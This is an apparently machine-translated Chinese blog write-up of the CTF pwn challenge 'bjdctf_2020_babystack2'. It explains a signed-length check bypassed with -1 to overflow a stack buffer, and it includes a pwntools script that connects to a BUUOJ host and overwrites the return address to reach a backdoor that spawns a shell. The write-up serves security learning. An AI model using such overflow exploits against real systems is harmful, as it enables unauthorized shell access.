当前位置:网站首页>【CTF】bjdctf_ 2020_ babystack2
【CTF】bjdctf_ 2020_ babystack2
2022-07-02 00:19:00 【delta_ hell】
Topic analysis
Decompile , Look for loopholes
main function :
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor function :
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
The meaning of the topic is obvious , Backdoor functions have been provided , As long as you can jump over it .
Look again main function ,read Function is obviously a utilization point , Using variables local_c Can create overflow .
Of course , It's not that simple , There is a length limit ahead
if (10 < (int)local_c)
however , This is also simple , Isn't it ? Integer overflow , A whole negative number , It just becomes ~~~
The fact proved that , The idea is completely correct , But the process is too tortuous , Briefly describe :
Native overflow will fail , stay ubuntu On , Input -1,read Will return directly to ; stay windows Experiment , Input -1,read Pop up window , Tips
buf len < INT_MAX Condition not satisfied , This is obvious ,read There are input restrictions . Studied for a long time , No solution found , Because of the length limit ,
Negative numbers must be used , Otherwise, it cannot overflow , And even if INT_MIN, Convert to unsigned number , Still 2147483648, still > INT_MAX; At that time
I doubt life .
Their thinking
Thinking is the process of analyzing the above topic , Absolutely right , Take the target directly and verify it OK Of ,-1 Can exceed the length limit , meanwhile read Don't complain ( No tears to cry )
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
The consequences of not being able to verify locally , The overflow length is guessed .
summary
When there is nothing wrong with your thinking , Test the target machine in time . But adjusting this machine is still interesting , Although the final result was not found , such as ubuntu On , Wrote a test demo, Remove length verification , result read As long as it is not greater than 3652 Is no problem , Over time errno Will report Bad address, Follow windows It's not the same , however 3652 This value doesn't make any sense , Doubt life again ~~~ After work, don't worry , There is a tone in the back glibc Take a look when you have a chance .
边栏推荐
- [QT] QT cannot find a solution to the compiler using msvc2017
- Node——添加压缩文件
- SQL Server 安装指南
- Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]
- Regular expression collection
- Ldr6035 smart Bluetooth audio can be charged and released (5.9.12.15.20v) fast charging and fast releasing device charging
- cookie、session、tooken
- [template] adaptive Simpson integral
- Accelerator systems initiative is an independent non-profit organization
- vue 强制清理浏览器缓存
猜你喜欢
随机推荐
SQL Server Installation Guide
【QT】QtCreator卸载与安装(非正常状态)
Jielizhi, production line assembly link [chapter]
【QT】Qt 使用MSVC2017找不到编译器的解决办法
An intern's journey to cnosdb
Node——生成微信权限验证配置
LDR6035智能蓝牙音响可对手机设备持续充放电方案
Mysql database driver (JDBC Driver) jar package download
【QT】测试Qt是否能连接上数据库
使用htaccess文件禁止目录里的脚本执行权限
JS——图片转base码 、base转File对象
2022拼多多详情/拼多多商品详情/拼多多sku详情
Leetcode medium question sharing (5)
LDR6035智能蓝牙音响可充可放(5.9.12.15.20V)快充快放设备充电
【opencv】train&test HOG+SVM
Take the enclave Park as a sample to see how Yuhua and Shaoshan play the song of Chang Zhu Tan integrated development
求逆序数的三个方法
const // It is a const object... class nullptr_ t
[embedded system course design] a single key controls the LED light
Windows 7 install MySQL error: 1067